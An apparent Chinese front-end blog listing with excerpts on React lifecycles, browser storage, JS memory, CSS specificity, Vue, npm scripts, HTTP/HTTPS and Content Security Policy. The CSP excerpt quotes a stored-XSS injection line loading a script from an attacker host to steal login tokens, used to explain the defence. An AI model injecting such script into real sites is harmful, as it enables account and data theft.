React 生命周期

简介 React从v16.3的版本开始, 对生命周期的钩子进行了渐进式的调整,分别废弃和新增了一些生命周期的钩子函数,本文会从以下四点开始讲解: 新旧生命周期函数的对比 分析为什么要废弃旧的钩子函数 详解新的生命周期使用场景 实例代码演示并进行总结 新旧生命周期对比 一个完整的React组件生命周期会依次调用如下钩子: old lifecycle 挂载 constructor componentWillMount render componentDidMount 更新 componentWillReceiveProps shouldComponentUpdate componentWillUpdate render componentDidUpdate 卸载 componentWillUnmount new lifecycle 挂载 constructor getDerivedStateFromProps render componentDidMount 更新 getDerivedStateFromProps shouldComponentUpdate render getSnapshotBeforeUpdate componentDidUpdate 卸载 componentWillUnmount 从以上生命周期的对比,我们不难看出,React从v16.3开始废弃 componentWillMount componentWillReceiveProps componentWillUpdate 三个钩子函数 分析废弃原因 Facebook花了两年多的时间搞出了React Fiber, 因为在v15的版本,更新过程是同步的,往往一个主线程长时间被占用,会导致页面性能问题 而 React Fiber的机制: 利用浏览器 requestIdleCallback 将可中断的任务进行分片处理,每一个小片的运行时间很短,这样唯一的线程就不会被独占 需要详细了解可以点下面链接 Morgan大佬 - 知乎 那么React Fiber会对生命周期带来什么影响吗? 因为React Fiber Reconciliation 这个过程有可能暂停然后继续执行,所以挂载和更新之前的生命周期钩子就有可能不执行或者多次执行; 目前React为这几个生命周期钩子提供了别名,分别是: UNSAFE_componentWillMount UNSAFE_componentWillReceiveProps UNSAFE_componentWillUpdate React17将只提供别名,取个别名的目的就是恶心你,不让你使用。 ...

December 17, 2024

浏览器的存储机制

浏览器的存储机制涵盖多种技术,目的是满足 Web 应用在不同场景下的数据持久化、缓存和离线访问需求。它们各自具有不同的存储容量、生命周期、安全策略和访问方式,理解这些机制对于构建高效、安全的前端应用至关重要。 一、浏览器存储机制分类 1. Cookie 最早期的存储机制,主要用于会话管理和身份认证。 容量限制:单个约 4KB,总数有限制; 生命周期:可设置过期时间或为会话级; 访问方式:由浏览器自动在 HTTP 请求头中携带,也能通过 JS 访问(除非设置 HttpOnly); 安全性:可设置 HttpOnly、Secure、SameSite 防范安全风险。 2. Web Storage(LocalStorage 和 SessionStorage) HTML5 新增的简单键值对存储方案。 LocalStorage:永久存储,关闭浏览器数据仍保留,同源可访问; SessionStorage:页面会话存储,关闭标签页即清空; 容量:一般为 5~10MB; 访问方式:同步 API,容易使用但可能阻塞主线程。 3. IndexedDB 浏览器内置的底层结构化数据库,支持事务和索引,适合复杂和大容量数据存储。 容量:远大于 LocalStorage,通常以设备剩余空间为限; 访问方式:异步 API,支持复杂操作; 用途:离线应用、大数据缓存、文件存储等。 4. Cache Storage 由 Service Worker 管理的请求和响应缓存,用于离线和加速访问。 容量:较大,依赖设备和浏览器策略; 访问方式:异步 Promise API; 用途:缓存静态资源、接口响应,实现离线支持。 5. Service Worker 虽然不是存储机制本身,但作为浏览器后台代理进程,管理 Cache Storage,实现网络请求拦截和缓存策略,是现代离线应用的核心。 生命周期独立于页面,可在后台运行; 控制页面的网络请求,提供离线能力和资源预缓存; 可结合 Cache Storage 和 IndexedDB 进行数据管理。 二、存储机制的生命周期与访问作用域 Cookie:基于域和路径,可设置 HttpOnly、Secure 限制访问; LocalStorage/SessionStorage:基于同源策略,SessionStorage 进一步限定于标签页会话; IndexedDB 和 Cache Storage:基于同源,支持版本控制和升级; Service Worker:独立于页面,能控制同源下的所有相关页面。 三、容量限制与性能影响 Cookie 容量最小,且会随每次请求自动发送,影响网络性能; LocalStorage/SessionStorage 适合轻量存储,容量适中; IndexedDB 和 Cache Storage 容量大,适合海量数据和文件缓存; Service Worker 通过异步调度,避免阻塞主线程。 四、安全与隐私考虑 Cookie 可被服务器访问,设置 HttpOnly 避免脚本窃取; Web Storage、IndexedDB 只能由同源脚本访问,防止跨站数据泄漏; Service Worker 需 HTTPS 环境,避免被恶意注入; 用户隐私模式下,存储行为可能受限,数据不保证持久。 五、应用场景及选择建议 需要与服务器频繁交互、会话维持时用 Cookie; 存储简单配置、少量数据用 LocalStorage; 页面会话临时数据用 SessionStorage; 大规模结构化数据和离线存储用 IndexedDB; 静态资源及请求缓存用 Cache Storage,配合 Service Worker 提升离线体验和性能; Service Worker 负责管理缓存和拦截网络请求,实现 PWA 功能。 常见考点 面试考察点通常围绕存储类型、特点、使用场景、容量限制、安全性和生命周期展开: ...

December 17, 2024

内存空间

var a = 20; var b = 'abc'; var c = true; var d = { m: 20 } 因为JavaScript具有自动垃圾回收机制,所以对于前端开发来说,内存空间并不是一个经常被提及的概念,很容易被大家忽视。特别是很多不是计算机专业的朋友在进入到前端之后,会对内存空间的认知比较模糊,甚至有些人干脆就是一无所知。 当然也包括我自己。在很长一段时间里认为内存空间的概念在JS的学习中并不是那么重要。可是后我当我回过头来重新整理JS基础时,发现由于对它们的模糊认知,导致了很多东西我都理解得并不明白。比如最基本的引用数据类型和引用传递到底是怎么回事儿?比如浅复制与深复制有什么不同?还有闭包,原型等等。 因此后来我才渐渐明白,想要对JS的理解更加深刻,就必须对内存空间有一个清晰的认知。 在学习内存空间之前,我们需要对三种数据结构有一个直观的认知。他们分别是堆(heap),栈(stack)与队列(queue)。 一、栈数据结构 与C/C++不同,JavaScript中并没有严格意义上区分栈内存与堆内存。因此我们可以简单粗暴的理解为JavaScript的所有数据都保存在堆内存中。但是在某些场景,我们仍然需要基于堆栈数据结构的思维来实现一些功能,比如JavaScript的执行上下文(关于执行上下文我会在下一篇文章中总结)。执行上下文的执行顺序借用了栈数据结构的存取方式。(也就是后面我们会经常提到的函数调用栈)。因此理解栈数据结构的原理与特点十分重要。 要简单理解栈的存取方式,我们可以通过类比乒乓球盒子来分析。如下图左侧。 这种乒乓球的存放方式与栈中存取数据的方式如出一辙。处于盒子中最顶层的乒乓球5,它一定是最后被放进去,但可以最先被使用。而我们想要使用底层的乒乓球1,就必须将上面的4个乒乓球取出来,让乒乓球1处于盒子顶层。这就是栈空间先进后出,后进先出的特点。图中已经详细的表明了栈空间的存储原理。 二、堆数据结构 堆数据结构是一种树状结构。它的存取数据的方式,则与书架与书非常相似。 书虽然也整齐的存放在书架上,但是我们只要知道书的名字,我们就可以很方便的取出我们想要的书,而不用像从乒乓球盒子里取乒乓一样,非得将上面的所有乒乓球拿出来才能取到中间的某一个乒乓球。好比在JSON格式的数据中,我们存储的key-value是可以无序的,因为顺序的不同并不影响我们的使用,我们只需要关心书的名字。 三、队列 在JavaScript中,理解队列数据结构的目的主要是为了清晰的明白事件循环(Event Loop)的机制到底是怎么回事。在后续的章节中我会详细分析事件循环机制。 队列是一种先进先出(FIFO)的数据结构。正如排队过安检一样,排在队伍前面的人一定是最先过检的人。用以下的图示可以清楚的理解队列的原理。 四、变量对象与基础数据类型 JavaScript的执行上下文生成之后,会创建一个叫做变量对象的特殊对象(具体会在下一篇文章与执行上下文一起总结),JavaScript的基础数据类型往往都会保存在变量对象中。 严格意义上来说,变量对象也是存放于堆内存中,但是由于变量对象的特殊职能,我们在理解时仍然需要将其于堆内存区分开来。 基础数据类型都是一些简单的数据段,JavaScript中有5中基础数据类型,分别是Undefined、Null、Boolean、Number、String。基础数据类型都是按值访问,因为我们可以直接操作保存在变量中的实际的值。 ES6中新加了一种基础数据类型Symbol,可以先不用考虑他 五、引用数据类型与堆内存 与其他语言不同,JS的引用数据类型,比如数组Array,它们值的大小是不固定的。引用数据类型的值是保存在堆内存中的对象。JavaScript不允许直接访问堆内存中的位置,因此我们不能直接操作对象的堆内存空间。在操作对象时,实际上是在操作对象的引用而不是实际的对象。因此,引用类型的值都是按引用访问的。这里的引用,我们可以理解为保存在变量对象中的一个地址,该地址与堆内存的实际值相关联。 为了更好的搞懂变量对象与堆内存,我们可以结合以下例子与图解进行理解。 var a1 = 0; // 变量对象 var a2 = 'this is string'; // 变量对象 var a3 = null; // 变量对象 var b = { m: 20 }; // 变量b存在于变量对象中,{m: 20} 作为对象存在于堆内存中 var c = [1, 2, 3]; // 变量c存在于变量对象中,[1, 2, 3] 作为对象存在于堆内存中 因此当我们要访问堆内存中的引用数据类型时,实际上我们首先是从变量对象中获取了该对象的地址引用(或者地址指针),然后再从堆内存中取得我们需要的数据。 理解了JS的内存空间,我们就可以借助内存空间的特性来验证一下引用类型的一些特点了。 在前端面试中我们常常会遇到这样一个类似的题目 // demo01.js var a = 20; var b = a; b = 30; // 这时a的值是多少? // demo02.js var m = { a: 10, b: 20 } var n = m; n.a = 15; // 这时m.a的值是多少 在变量对象中的数据发生复制行为时,系统会自动为新的变量分配一个新值。var b = a执行之后,a与b虽然值都等于20,但是他们其实已经是相互独立互不影响的值了。具体如图。所以我们修改了b的值以后,a的值并不会发生变化。 ...

November 6, 2024

HTML 元素分类

根据标签的功能和表现,HTML 标签主要分为以下几类: 1. 块级元素(Block-level Elements) 块级元素通常独占一行,并且可以包含其他块级元素或内联元素,能够扩展至父容器的全部宽度。 特点: 独占一行,默认情况下会在前后产生换行。 宽度默认是父元素的 100%。 可以设置 width、height、margin、padding 等布局属性。 常见的块级元素: <div>:无特定语义的容器,常用于布局。 <p>:段落标签。 <h1> 到 <h6>:标题标签,按重要性递减。 <ul>、<ol>、<li>:无序、有序列表及其项。 <header>、<footer>、<section>、<article>:HTML5 语义化标签,分别表示页头、页尾、内容区块等。 示例: <div> <h1>标题</h1> <p>这是一个段落。</p> </div> 2. 内联元素(Inline Elements) 内联元素与其他元素排列在同一行,且只占用其内容所需的宽度。它们不会独占一行,不能包含块级元素。 特点: 与相邻的内联元素排列在同一行。 仅占据自身内容的宽度,不会在前后产生换行。 不能设置 width、height(无效),但可以设置 padding 和 margin,只影响水平方向。 常见的内联元素: <span>:无特定语义的容器,常用于局部样式。 <a>:超链接。 <strong>:表示强调的文本,通常加粗显示。 <em>:表示强调的文本,通常斜体显示。 <img>:图像标签。 <input>:表单输入元素。 示例: <p>这是一个段落,<a href="#">点击这里</a> 了解更多。</p> 3. 内联块元素(Inline-block Elements) 内联块元素是同时具备内联元素和块级元素特性的元素。它们在布局上是内联的,但表现为块状元素,因此可以设置宽高。 特点: 与其他元素排列在同一行,但可设置宽度和高度。 不会自动换行。 常见的内联块元素: <img>:虽然图像显示在行内,但可以设置 width 和 height。 <button>:按钮。 <input type="text">:文本输入框。 CSS 设置为 display: inline-block 的元素。 示例: <span style="display: inline-block; width: 100px; height: 100px; background: red;"></span> 4. 自闭合元素(Self-closing Elements) 自闭合元素是没有闭合标签的元素,因为它们没有任何内容。这类标签通常用于插入内容或进行控制,而不包含其他内容。 ...

October 15, 2024

优先级

在前端面试中,经常会遇到CSS选择器的问题三连: 说一下CSS的选择器有哪些 优先级是怎样的 权重计算方式 今天就来给大家介绍选择器的优先级和权重计算方式。 优先级是什么?有什么用? 先提出一个问题:如果一个元素通过多种方式设置了字体大小,那么浏览器在最后渲染时会使用哪个属性值呢? 其实,浏览器会通过优先级来判断哪些属性值与一个元素最为相关,从而在该元素上应用这些属性值。优先级是基于不同种类选择器组成的匹配规则。 换种说法,优先级就是分配给指定的 CSS 声明的一个权重,它由 匹配的选择器 中的 每一种选择器类型的数值 决定。 总结一下: 权重决定了你css规则怎样被浏览器解析直到生效,css权重关系到你的css规则是怎样显示的。 当很多的样式被应用到某一个元素上时,权重决定哪种样式生效。 每个选择器都有自己的权重。你的每条css规则,都包含一个权重级别。 这个级别是由不同的选择器加权计算的,通过权重,不同的样式最终会作用到你的网页中 。 如果两个选择器同时作用到一个元素上,权重高者生效。 权重的计算规则 接着介绍权重的计算规则: 第一优先级:!important会覆盖页面内任何位置的元素样式 内联样式,如style="color: green",权值为1000 ID选择器,如#app,权值为0100 类、伪类、属性选择器,如.foo, :first-child, div[class="foo"],权值为0010 标签、伪元素选择器,如div::first-line,权值为0001 通配符、子类选择器、兄弟选择器,如*, >, +,权值为0000 继承的样式没有权值 权值计算公式: 权值 = 第一等级选择器 x 个数,第二等级选择器 x 个数,第三等级选择器 x 个数,第四等级选择器 x 个数 比如: 选择器 千位 百位 十位 个位 优先级 h1 0 0 0 1 0001 h1 + p::first-letter 0 0 0 3 0003 li > a[href*=“en-US”] > .inline-warning 0 0 2 2 0022 #identifier 0 1 0 0 0100 内联样式 1 0 0 0 1000 权重的比较规则 当两个权值进行比较的时候,是从高到低逐级将等级位上的权重值(如 权值 1,0,0,0 对应–> 第一等级权重值,第二等级权重值,第三等级权重值,第四等级权重值)来进行比较的,而不是简单的 1000个数 + 100个数 + 10个数 + 1个数 的总和来进行比较的,换句话说,低等级的选择器,个数再多也不会越等级超过高等级的选择器的优先级的。 ...

October 10, 2024

计算属性

前言 Vue 的计算属性(computed)是 Vue.js 中非常重要的一个概念。它允许你在 Vue 组件中定义一些计算逻辑,这些逻辑会依赖于 Vue 的响应式数据,并且具有缓存机制,只有在依赖数据发生改变时才会重新计算,从而提高了性能。 计算属性的主要作用包括: 数据转换 数据过滤 响应式依赖 缓存机制 简化模板 在本篇文章中,我们将详细探寻如何利用计算属性优化 Vue 组件的数据处理和渲染逻辑,深入了解 Vue 计算属性的精髓。 一. 认识计算属性 1. 什么是计算属性 Vue.js 中的计算属性(computed properties)是 Vue 实例中非常重要的一个特性。它们用于对 Vue 实例的数据进行动态计算,且具有缓存机制,只有在相关依赖发生改变时才会重新计算。这种特性使得计算属性非常适合用于处理模板中的逻辑。 2. 计算属性的定义 计算属性是在 Vue 实例的computed选项中定义的,可以是一个函数或具有get和set方法的对象。函数形式的计算属性会在调用时被执行,而对象形式的计算属性则可以提供自定义的get和set方法。 computed: { // 函数形式的计算属性 reversedMessage: function () { return this.message.split('').reverse().join(''); }, // 对象形式的计算属性 fullName: { get: function () { return this.firstName + ' ' + this.lastName; }, set: function (newValue) { var names = newValue.split(' '); this.firstName = names[0]; this.lastName = names[names.length - 1]; } } } 3. 计算属性的依赖 计算属性可以依赖于 Vue 实例的响应式数据。当依赖数据发生改变时,相关的计算属性会重新计算。 ...

October 4, 2024

Content Security Policy

跨域脚本攻击 XSS(Cross Site Scripting) 是最常见、危害最大的网页安全漏洞。 比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入 <script src="http://www.hacker.org/xss.payload.js"></script> xss.payload.js可以获取老浏览用户的信息,如登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。 为了防止它们,要采取很多编程措施,非常麻烦。很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本? 所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。这就是"网页安全政策"(Content Security Policy,缩写 CSP)的来历。本文详细介绍如何使用 CSP 防止 XSS 攻击。 一、简介 CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成,开发者只需提供配置。 CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。 两种方法可以启用 CSP。 一种是通过 HTTP 头信息的Content-Security-Policy的字段。 Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https: 另一种是通过网页的<meta>标签。 <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 上面代码中,CSP 做了如下配置。 脚本:只信任当前域名 <object>标签:不信任任何URL,即不加载任何资源 样式表:只信任cdn.example.org和third-party.org 框架(frame):必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。 Chrome 的报错信息。 二、限制选项 CSP 提供了很多限制选项,涉及安全的各个方面。 2.1 资源加载限制 以下选项限制各类资源的加载。 script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件 object-src:插件(比如 Flash) child-src:框架 frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>) connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) worker-src:worker脚本 manifest-src:manifest 文件 2.2 default-src default-src用来设置上面各个选项的默认值。 ...

October 2, 2024

箭头函数

一、箭头函数的特点 1. 相比普通函数,箭头函数有更加简洁的语法。 普通函数 function add(num) { return num + 10 } 箭头函数 const add = num => num + 10; 2. 箭头函数不绑定this,会捕获其所在上下文的this,作为自己的this。 这句话需要注意的是,箭头函数的外层如果有普通函数,那么箭头函数的this就是这个外层的普通函数的this,箭头函数的外层如果没有普通函数,那么箭头函数的this就是全局变量。 下面这个例子是箭头函数的外层有普通函数。 let obj = { fn:function(){ console.log('我是普通函数',this === obj) // true return ()=>{ console.log('我是箭头函数',this === obj) // true } } } console.log(obj.fn()()) 下面这个例子是箭头函数的外层没有普通函数。 let obj = { fn:()=>{ console.log(this === window); } } console.log(obj.fn()) // true 3. 箭头函数是匿名函数,不能作为构造函数,不可以使用new命令,否则后抛出错误。 ...

October 2, 2024

前端任务自动化(npm scripts实现)

在前端开发中,我们经常需要执行各种重复性任务,比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务,但npm本身提供了一个强大的功能:npm scripts。通过npm scripts,我们可以将这些任务脚本化并集中管理,从而提高开发效率。 本文将专注于如何使用npm scripts自动化前端开发任务,以及它在项目管理中的作用。 什么是npm scripts? npm scripts是npm提供的一种机制,允许我们在项目的package.json文件中定义一组命令,方便执行各种任务。在package.json文件中,scripts字段可以包含多个脚本,每个脚本都是一个键值对,其中键是脚本的名称,值是实际要执行的命令。例如: { "scripts": { "build": "webpack --config webpack.config.js", "test": "jest" } } 在上面的示例中,定义了两个脚本:build 和 test。可以通过以下方式在命令行中运行这些脚本: npm run build npm run test npm会执行对应的命令,自动帮我们完成编译和测试任务。 为什么使用npm scripts? 在现代前端开发流程中,自动化任务是不可或缺的,而npm scripts的使用有以下几大优势: 减少对全局依赖的需求:在传统项目中,开发者通常需要全局安装各种命令行工具,如webpack、eslint、babel等。而npm scripts可以直接调用项目的本地依赖,无需全局安装。这确保了不同开发环境中的工具版本一致,减少了版本冲突和兼容性问题。 集中管理任务:npm scripts将所有任务定义集中在package.json文件中,项目中的所有开发人员都可以直观地看到可用的任务列表,无需了解每个工具的详细使用方法。只需运行npm run <task>,便可一键完成常见任务。 支持跨平台执行:npm scripts中的命令可以跨平台使用,在Windows、macOS和Linux系统上表现一致,尤其适合团队协作。 便于组合和链式执行:npm允许通过逻辑操作符来组合脚本,实现复杂任务的自动化执行。例如可以通过&&和||来串联多个任务,使得多个步骤一次完成。 如何定义和使用npm scripts? 让我们通过具体的示例来看看npm scripts如何自动化前端开发任务。 1. 设置基本的开发任务 假设我们正在开发一个React项目,我们可以在package.json中定义以下基本任务: { "scripts": { "start": "webpack serve --mode development", "build": "webpack --mode production", "test": "jest", "lint": "eslint src/**/*.js" } } 这里的脚本分别执行以下任务: ...

August 7, 2025

http和https

HTTP 基础 HTTP 超文本传输协议 ,应用层协议。主要用于 Web 上传输超媒体文本的底层协议,经常在浏览器和服务器之间传递数据。通信就是以纯文本的形式进行。 HTTP 是无状态 无状态是 HTTP 协议对客户端请求状态没有进行存储,比如每次请求都需要重新登录 HTTP 是无连接 无连接主要是限制每次连接只处理一个请求。每次请求都是客户发起请求,服务端响应请求,然后就断开连接。这期间就是通过三次握手建立连接,四次挥手断开连接。每次请求即便是多次请求并请求同一个资源,服务端都无法判断是否是相同请求,都需要重新响应请求。 所以,为了解决客户端和服务端保持会话连接,通过 cookie 和 session 来记录 http 状态。 HTTP 的其他特点是简单快速,只需传送方法和路径就可以向服务端进行请求;还有支持传输任意类型的数据对象。 HTTPS 基础 https 是 http 的“升级”版本: HTTPS = HTTP+ SSL/TLS SSL 是安全层,TLS 是传输层安全,是SSL 的继承。使用SSL或TLS 可确保传输数据的安全性。 使用 HTTP 可能看到传输数据是: “这是明文信息” 使用 HTTPS 可能看到: “283hd9saj9cdsncihquhs99ndso” HTTPS 传输的不再是文本,而是二进制流,使得传输更高效,且加密处理更加安全。 HTTPS 的工作流程 1、客户端请求 HTTPS 请求并连接到服务器的 443 端口,此过程和请求 HTTP 请求一样,进行三次握手; 2、服务端向客户端发送数字证书,其中包含公钥、证书颁发者、到期日期 现比较流行的加解密码对,即公钥和私钥。公钥用于加密,私钥用于解密。所以服务端会保留私钥,然后发送公钥给客户端。 3、客户端收到证书,会验证证书的有效性。验证通过后会生成一个随机的 pre-master key。再将密钥通过接收到的公钥加密然后发送给服务端 4、服务端接收后使用私钥进行解密得到 pre-master key 5、获得 pre-master key 后,服务器和客户端可以使用主密钥进行通信。 ...

July 28, 2025